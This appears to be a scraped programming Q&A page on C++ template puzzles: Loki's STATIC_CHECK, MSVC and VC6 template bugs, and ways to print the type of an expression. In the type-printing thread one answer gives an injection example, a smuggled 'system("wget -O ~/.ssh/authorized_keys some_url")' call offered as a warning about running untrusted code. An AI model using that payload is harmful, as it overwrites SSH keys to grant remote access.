understanding STATIC_CHECK in Loki library - c++

template<int> struct CompileTimeError;
template<> struct CompileTimeError<true> {};
#define STATIC_CHECK(expr,msg) {CompileTimeError< ((expr)!=0) > Error_##msg; (void)Error_##msg; }
template <class To , class From>
To safe_reinterpret_cast(From from)
{
STATIC_CHECK(sizeof(From) <= sizeof(To),Destination_Type_Too_Narrow);
return reinterpret_cast<To>(from);
}
void main()
{
void *p= NULL;
char c= safe_reinterpret_cast<char>(p);
}
Above code works fine and gives compile time error when we try to convert pointer to char .
But its not very clear how STATIC_CHECK macro works.
As per above code it should lead to following
STATC_CHECK(false,Destination_Type_Too_Narrow)
Above macro will get expanded as follows:
CompileTimeError<false>
ERROR_Destination_Type_Too_Narrow;
(void)ERROR_Destination_Type_Too_Narrow;
In above macro I am not able to understand what these two statements are meant for
ERROR_Destination_Type_Too_Narrow;
(void)ERROR_Destination_Type_Too_Narrow;
If anyone having clear understanding please explain

We have specialization for class CompileTimeError<true>, that has default constructor. Instanciations of other cases will cause error, that CompileTimeError<not true> is undefined type (in your case we trying to create variable ERROR_Destination_Type_Too_Narrow of type CompileTimeError<false>). (void)VariableName is only silence of -Wunused

Related

MSVC evaluating context (and erroring) without knowing types

This code fails compilation on MSVC because the static_assert fails:
template<class MyType>
struct Test {
static_assert(MyType(5) != MyType(6), "fails");
};
See: https://godbolt.org/z/vUSMHu
Any ideas how MSVC can evaluate this without even knowing what MyType is?
Even more obscure:
template<class MyType>
struct Test {
static_assert(MyType(5) == MyType(6), "succeeds");
static_assert(!(MyType(5) == MyType(6)), "fails");
};
See: https://godbolt.org/z/3631tu
And instantiating it (i.e. giving MyType a type) also doesn't help:
template<class MyType>
struct Test {
static_assert(MyType(5) != MyType(6), "still fails");
};
Test<int> variable;
See: https://godbolt.org/z/yxF4h0
Or a bit more complex: https://godbolt.org/z/68g6yO
Yes, this strange error happens in MSVC 19.10, but it is already not reproducible in MSVC 19.14 and upward. Demo: https://gcc.godbolt.org/z/635Mxdazd
So it is reasonable to assume that it was just a compiler bug.

Error C2621 when union contains array of template class in VS2013

I have some C++ code I'm trying to compile in Visual Studio 2013, but I'm running into an error. Here's a simplified testcase that demonstrates the problem:
template <typename SomeEnum>
struct Inner {
SomeEnum variant;
int innerVal;
};
template <typename SomeEnum>
struct Outer {
int outerVal;
union {
Inner<SomeEnum> inners[10];
unsigned char data[20];
};
};
enum MyEnum {
VAR1,
VAR2
};
int main() {
Outer<MyEnum> outer;
return 0;
}
This gives me the error main.cpp(11): error C2621: 'Outer<MyEnum>::inners' : illegal union member; type 'Inner<SomeEnum>' has a copy constructor. It seems like Inner<SomeEnum> should be as POD as they come. Is this a known problem, or is the code invalid for a reason of which I'm not aware? Some Googling yielded no results on the issue.
The example compiles if I either Inner not a template class or if inners is not an array, but unfortunately neither of those is an option for my actual code. Are there any other ways I could accomplish the same thing?
It works on ideone.com, leading me to think it may be a VS2013 bug. You could try VS2015 if you can.
A possible workaround is to explicitly specialize for each enum you want to use.
Adding this after the MyEnum definition:
template <>
struct Inner<MyEnum> {
MyEnum variant;
int innerVal;
}
Makes the error go away for some reason. Obviously that will lead to a ton of duplicated code, which is what templates are trying to stop. You could possibly write a macro (ugh) to make this template specialization for you.

Optional Parameters in VS2010 templitized class function

I have an odd issue in MSVS 2010. I have a class with a function that is templitized and contains an parameter with a default value.
In my header file:
typedef unsinged int data32
class myClass
{
private:
...
public:
...
template <typename T>
T* myF(data32);
}
...
template<typename T>
T* myClass::myF(data32 size = 1)
{
...
}
Ok, now in my main i have something like this:
int main()
{
myClass A;
data32* myInt = A.myF<data32>(100); // no complaints from pre-compiler
data32* myInt2 = A.myF<data32>(); // pre-compiler complains "Error: no instance of the function template "myClass::myF" matches the argument list"
}
I understand why it is unhappy as i do not have a function prototype defined for 'myF()' in the class, but shouldn't it know better? I thought the point of defaults were to make the parameters optional in the call. The code DOES compile and run just fine even thought the pre-compiler is unhappy and flags this as a problem.
Any thoughts??
Thanks!
There are bugs (false alarms) in the intellisense analyzer in VS 2010. And this seems like one of them. The analyzer used for intellisense is different from the actual parser used in compiler.

Print types of arbitrary C++ expressions

I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this? If not, is there a pretty easy way to do it by integrating with an existing compiler and calling into its debugger or API? I've been told, for example, that Clang has a fairly complete compiler API, perhaps there's some way to just pass a string into Clang along with the appropriate include directives and have it spit out a type?
I realize that this is potentially a huge project if there's nothing close to this existing today. I just thought it would have significant educational value, so it seemed like it was worth checking.
I came up with an answer inspired by Ben Voigt's comments. Just make a bug and let the compiler tell you the type which caused it:
template <typename T> void foo(T); // No definition
int main() {
foo(1 + 3.0);
}
Result:
In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'
Also, since you execute nothing but the compiler, you're pretty safe. No sandboxing needed, really. If you get anything other than "undefined reference to void foo<T>(T)", it wasn't an expression.
[edit] How would you put this into a tool? Simple, with macro's
// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }
int main() {
foo(EXPR);
}
Now compile with $(CC) /D=(EXPR) TestHarness.cpp. Saves you from rebuilding the input file every time.
Improving yet more on MSalter's improvement:
class X {
template <typename T> static void foo(T) {}
};
int main() {
X::foo( $user_code );
}
Result (with $user_code = "1 + 3.0"):
prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context
This avoids the link step.
Original answer:
C++ has the typeid keyword. Conceptually, you just need to stick the user's expression into some boilerplate like:
extern "C" int puts(const char *s);
#include <typeinfo>
int main(void)
{
const type_info& the_type = typeid( $user_code );
puts(the_type.name());
}
And then pass that source file to the compiler, and run it to get the answer.
Practically, it's going to be difficult to avoid running malicious code. You'd need to use a sandbox of some type. Or be really really careful to make sure that there aren't mismatched parentheses (you do know what trigraphs are, right?).
yes I'm aware that the argument of typeid isn't evaluated. But let $usercode be 1); system("wget -O ~/.ssh/authorized_keys some_url" !
A better option would be to avoid running the program. With a framework (requires C++11) like:
extern "C" decltype( $user_code )* the_value = 0;
You could run the compiler with the option to generate debug data, then use e.g. a dwarf2 reader library and get the symbolic type information associated with the_value, then remove one level of pointer.
Here's one way you can do this in GCC and Clang with __PRETTY_FUNCTION__:
#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>
template<typename T>
static constexpr auto type_name() noexcept {
// __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
return std::string_view{ begin, size };
}
template <typename T1, typename T2>
class my_class { }; // Example Class
int main() {
my_class<int&, std::vector<double>> my_arr[20];
std::cout << type_name<decltype(my_arr)>();
}
Output on GCC:
my_class<int&, std::vector<double> > [20]
I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this?
These days, there sort of is such a tool - online. It only does what you want as an unintended by product though. I'm talking about Matt Godbolt's Compiler Explorer.
Your "program" will look like this:
#define EXPRESSION 123
template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
Now, if you replace 123 with a C++ expression, you'll get, in the compiler error messages section, the following:
<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type
4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
| ^
Compiler returned: 1
The first line has your desired type, within the angle brackets.

Error C2275 caused by template member function. Is this code wrong?

I think I've run into a (possible) VC6 (I know. It's what we use.) compiler error, but am open to the fact that I've just missed something dumb. Given the following code (It's just an example!):
#include <iostream>
// Class with template member function:
class SomeClass
{
public:
SomeClass() {};
template<class T>
T getItem()
{
return T();
};
};
// Dummy just used to recreate compiler error
class OtherClass
{
public:
OtherClass() {};
};
std::ostream& operator<<( std::ostream& oStr, const OtherClass& obj )
{
return oStr << "OtherClass!";
};
// Main illustrates the error:
int main(int argc, char* argv[])
{
SomeClass a;
OtherClass inst2 = a.getItem<OtherClass>(); // Error C2275 happens here!
std::cout << inst2 << std::endl;
return 0;
}
If I try to compile this code VC6, dies on a.getItem<OtherClass>() yielding:
Error C2275: 'OtherClass' : illegal use of this type as an expression.
Have I overlooked some trivial syntax issue? Am I breaking a rule?
This code compiles just fine under gcc 4.3.4. Is it yet another compliance issue with VC6?
Thanks!
Among many other things with the word template in it, VC6 couldn't deal with function templates where the template parameters aren't also function parameters. The common workaround was to add a dummy function parameter:
template<class T>
T getItem(T* /*dummy*/ = NULL)
{
return T();
} // note: no ; after function definitions
However, in general, VC6 is pretty lame and often chokes as soon as a TU contains the template keyword. I had to beat my head against it for several years (big code base compiled with several compilers/compiler versions; VC6 giving us an endless amount of trouble) and was very glad when I got rid of it in 2003.
This is likely to be a VC6 issue. Although VC6 compiles most basic templates correctly it is known to have many issues when you start to move towards the more advanced template uses. Member templates are an area where VC6 is known to be weak on conformance.
I believe that's another bug in VC6, you should really switch to a more up-to-date compiler.